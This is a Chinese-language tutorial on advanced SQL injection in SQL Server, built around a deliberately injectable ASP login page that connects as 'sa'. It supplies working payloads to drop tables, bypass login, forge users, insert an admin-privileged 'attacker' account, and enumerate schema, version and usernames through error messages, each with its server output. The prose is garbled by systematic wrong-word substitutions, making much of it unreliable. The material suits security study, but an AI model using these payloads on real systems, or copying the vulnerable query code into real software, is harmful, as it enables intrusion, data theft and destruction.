SQL Server应用程序中的高级SQL注入


  介绍:
  SQL是一种用于关系数据库的 构造化 查问语言 。它分为许多种,但大多数都 涣散地基于美国国家 标准化组织最新的 标准SQL-92 。典型的执行语句是query,它 可以收集 比较有达标性的记录并返回一个单一的 后果集 。SQL语言 可以 批改数据库 构造(数据定义语言)和操作数据库内容(数据操作语言) 。在这份文档中,我们将特殊 探讨SQLSERVER所 使用的Transact-SQL语言 。
  当一个 突击者 可以通过往query中插入一系列的sql语句来操作数据写入到 利用程序中去,我们管这种 步骤定义成SQL注入 。

  一个典型的SQL语句如下:
  Select id,forename,surname from authors
  这条语句将返回authors表中全部行的id,forename和surname列 。这个 后果 可以被 制约,例如:
  Select id,forename,surname from authors where forename'john' and surname='smith'
  需求着重指明的是字符串'john'和'smith'被单引号 制约 。明确的说,forename和surname字段是被消费者提供的输入 制约的, 突击者 可以通过输入值来往这个 查问中注入一些SQL语句,
  如下:
  Forename:jo'hn
  Surname:smith
   查问语句变为:
  Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
  当数据库试图去执行这个 查问时,它将返回如下 舛误:
  Server:Msg 170, Level 15, State 1, Line 1
  Line 1:Incorrect syntax near 'hn'
  造成这种 后果的缘由是插入了.作为定界符的单引号 。数据库尝试去执行'hn',然而失败 。假如 突击者提供特殊的输入如:
  Forename:jo';drop table authors—
  Surname:
   后果是authors表被删除,造成这种 后果的缘由我们稍后再讲 。

  看上去好象通过从输入中去掉单引号或者通过某些 步骤幸免它们都 可以解决这个问题 。这是可行的,然而用这种 步骤做解决 步骤会存在几个 困苦 。第一,并不是全部消费者提供的数据都是字符串 。假如消费者输入的是通过消费者id来 查问author,那我们的 查问应该像这样:
  Select id,forename,surname from authors where id=1234
  在这种状况下,一个 突击者 可以十分 方便地在数字的结尾增加SQL语句,在 其余版本的SQL语言中, 使用各种各样的限定符号;在数据库治理系统JET引擎中,数据 可以被 使用'#'限定 。第二,幸免单引号 只管看上去 可以,然而是没必要的,缘由我们稍后再讲 。

  我们更进一步地 使用一个 方便的ASP登陆页面来指出哪些能进入SQLSERVER数据库而且尝试 甄别进入一些虚构的 利用程序的权限 。
  这是一个提交表单页的代码,让消费者输入消费者名和密码:
  <HTML>
  <HEAD>
  <TITLE>Login Page</TITLE>
  </HEAD>

  <BODY bgcolor='000000' text='cccccc'>
  <FONT Face='tahoma' color='cccccc'>
  <CENTER><H1>Login</H1>
  <FORM action='process_loginasp' method=post>
  <TABLE>
  <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
  <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
  </TABLE>
  <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
  </FORM>
  </Font>
  </BODY>
  </HTML>
  下面是process_login.asp的代码,它是用来操纵登陆的:
  <HTML>
  <BODY bgcolor='000000' text='ffffff'>
  <FONT Face='tahoma' color='ffffff'>
  <STYLE>
  p { font-size=20pt ! important}
  font { font-size=20pt ! important}
  h1 { font-size=64pt ! important}
  </STYLE>
  <%@LANGUAGE = JScript %>
  <%
  function trace( str ) {
  if( Request.form("debug") == "true" )
  Response.write( str );
  }
  function Login( cn ) {
  var username;
  var password;
  username = Request.form("username");
  password = Request.form("password");
  var rso = Server.CreateObject("ADODB.Recordset");
  var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
  rso.open( sql, cn );
  if (rso.EOF) {
  rso.close();
  %>
  <FONT Face='tahoma' color='cc0000'>
  <H1> <BR><BR>
  <CENTER>ACCESS DENIED</CENTER>
  </H1>
  </BODY>
  </HTML>
  <% Response.end return; }
  else {
  Session("username") = "" + rso("username");
  %>
  <FONT Face='tahoma' color='00cc00'>
  <H1> <CENTER>ACCESS GRANTED<BR> <BR>
  Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
  }
  function Main() { //Set up connection
  var username
  var cn = Server.createobject( "ADODB.Connection" );
  cn.connectiontimeout = 20;
  cn.open( "localserver", "sa", "password" );
  username = new String( Request.form("username") );
  if( username.length > 0) {
  Login( cn );
  }
  cn.close();
  }
  Main();
  %>

  浮现问题的地方是process_lgin.asp中产生 查问语句的 部分:
  Var sql="select * from users where username='"+username+"' and password='"+password+"'";
  假如消费者输入的信息如下:
  Username:';drop table users—
  Password:
  数据库中表users将被删除, 回绝任何消费者进入 利用程序 。'—'符号在Transact-SQL中 示意 忽略'—'以后的语句,';'符号 示意一个 查问的 完毕和另一个 查问的开始 。'—'位于username字段中是必须的,它为了使这个特殊的 查问终止,而且不返回 舛误 。

   突击者 可以 惟独提供他们晓得的消费者名,就 可以以任何消费者登陆, 使用如下输入:
  Username:admin'—
   突击者 可以 使用users表中第一个消费者,输入如下:
  Username:' or 1=1—
  更特殊地, 突击者 可以 使用 彻底虚构的消费者登陆,输入如下:
  Username:' union select 1,'fictional_user','some_password',1—
  这种 后果的缘由是 利用程序相信 突击者指定的是从数据库中返回 后果的一 部分 。

  通过 舛误 信息 获得信息
  这个 几乎是David Litchfield首先发现的,而且通过作者 浸透测试的;后来David写了一份文档,后来作者参考了这份文档 。这些解释 探讨了‘ 舛误 信息‘潜在的机制,使读者 可以 彻底地了解它,潜在地激发他们的 威力 。

  为了操作数据库中的数据, 突击者必须确定某些数据库和某些表的 构造 。例如我们 可以 使用如下语句 缔造user表:
  Create talbe users(
  Id int,
  Username varchar(255),
  Password varchar(255),
  Privs int
  )
   而后将下面的消费者插入到users表中:
  Insert into users values(0,'admin','r00tr0x!',0xffff)
  Insert into users values(0,'guest','guest',0x0000)
  Insert into users values(0,'chris','password',0x00ff)
  Insert into users values(0,'fred','sesame',0x00ff)
  假如我们的 突击者想插入一个自己的消费者 。在不晓得users表 构造的状况下,他不可能 顺利 。 即便他 比较 厄运,至于privs字段不清晰 。 突击者可能插入一个'1',这样只给他自己一个低权限的消费者 。
   厄运地,假如从 利用程序(默许为ASP行为)返回 舛误 信息,那么 突击者 可以确定整个数据库的 构造,而且 可以以程序中衔接SQLSERVER的权限度曲任何值 。
  (下面以一个 方便的数据库和asp脚 原来举例 注明他们是怎么工作的)
  首先, 突击者想 获得 构建消费者的表的名字和字段的名字,要做这些, 突击者需求 使用select语法的having子句:
  Username:' having 1=1—
  这样将会浮现如下 舛误:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
  /process_login.asp, line 35
   因此现在 突击者晓得了表的名字和第一个地段的名字 。他们 依旧 可以通过把字段放到group by子句不得不感去找到一个一个字段名,如下:
  Username:' group by users.id having 1=1—
  浮现的 舛误如下:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
  /process_login.asp, line 35
  最后 突击者得到了username字段后:
  ‘ group by users.id,users.username,users.password,users.privs having 1=1—
  这句话并不产生 舛误,相当于:
  select * from users where username=''
   因此 突击者现在晓得 查问 波及users表,按顺序 使用列'id,username,password,privs' 。
   可以确定每个列的类型是十分有用的 。这 可以通过 使用类型转化来实现,例如:
  Username:' union select sum(username) from users—
  这利用了SQLSERVER在确定两个 后果集的字段是不是相等前 利用sum子句 。尝试去计算sum会得到以下 信息:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  /process_login.asp, line 35
  这告诉了我们'username'字段的类型是varchar 。假如是另一种状况,我们尝试去计算sum()的是数字类型,我们得到的 舛误 信息告诉我们两个 集中的字段数量不相等 。
  Username:' union select sum(id) from users—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
  /process_login.asp, line 35
  我们 可以用这种技术近似地确定数据库中任何表中的任何字段的类型 。
  这样 突击者就 可以写一个好的insert 查问,例如:
  Username:';insert into users values(666,'attacker','foobar','0xffff)—
  这种技术的潜在影响不只仅是这些 。 突击者 可以利用这些 舛误 信息显示环境信息或数据库 。通过运行一列 定然 格局的字符串 可以 获得 标准的 舛误 信息:
  select * from master ..sysmessages
  解释这些将实现 乏味的 信息 。

  一个特殊有用的 信息关系到类型转化 。假如你尝试将一个字符串转化成一个整型数字,那么字符串的全部内容会返回到 舛误 信息中 。例如在我们 方便的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
  Username:' union select version,1,1,1—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
  /process_login.asp, line 35
  这句尝试去将内置的'version'常量转化成一个整型数字,由于users表中的第一列是整型数字 。

  这种技术 可以用来读取数据库中任何表的任何值 。自从 突击者对消费者名和消费者密码 比较有兴趣后,他们 比较喜爱去从users表中读取消费者名,例如:
  Username:' union select min(username),1,1,1 from users where username>'a'—
  这句 取舍users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
  /process_login.asp, line 35
   因此 突击者已经晓得消费者admin是存在的 。这样他就 可以 反复通过 使用where子句和 查问到的消费者名去寻觅下一个消费者 。